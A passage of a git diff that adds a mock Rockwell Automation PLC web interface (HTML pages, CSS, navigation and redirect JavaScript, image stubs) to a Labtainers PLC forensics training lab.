(navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/1756enet.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/1756enet.bmp new file mode 100644 index 000000000..7c0a6b9be Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/1756enet.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/images/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index.html new file mode 100644 index 000000000..b8c5ca878 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home.html new file mode 100644 index 000000000..bcb7aac60 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home.html @@ -0,0 +1,107 @@ + + +Rockwell Automation + + + + + +
+ + + + + + +
Home
+ + + + + + + +

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Device Name
Device Description
Device Location
Ethernet Address (MAC)00:00:DE:AD:BE:EF
IP Address10.1.100.2
Product Revision0.000 Build 0
Firmware Version DateMar 13 2013, 09:49:27
Serial Number00000000
StatusIdle
Uptime00h:27m:00s

+ + + + + + + + + + + + + + + + + + + + + + + + + +
Resources
 
 
Contacts

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/home_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/index_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + 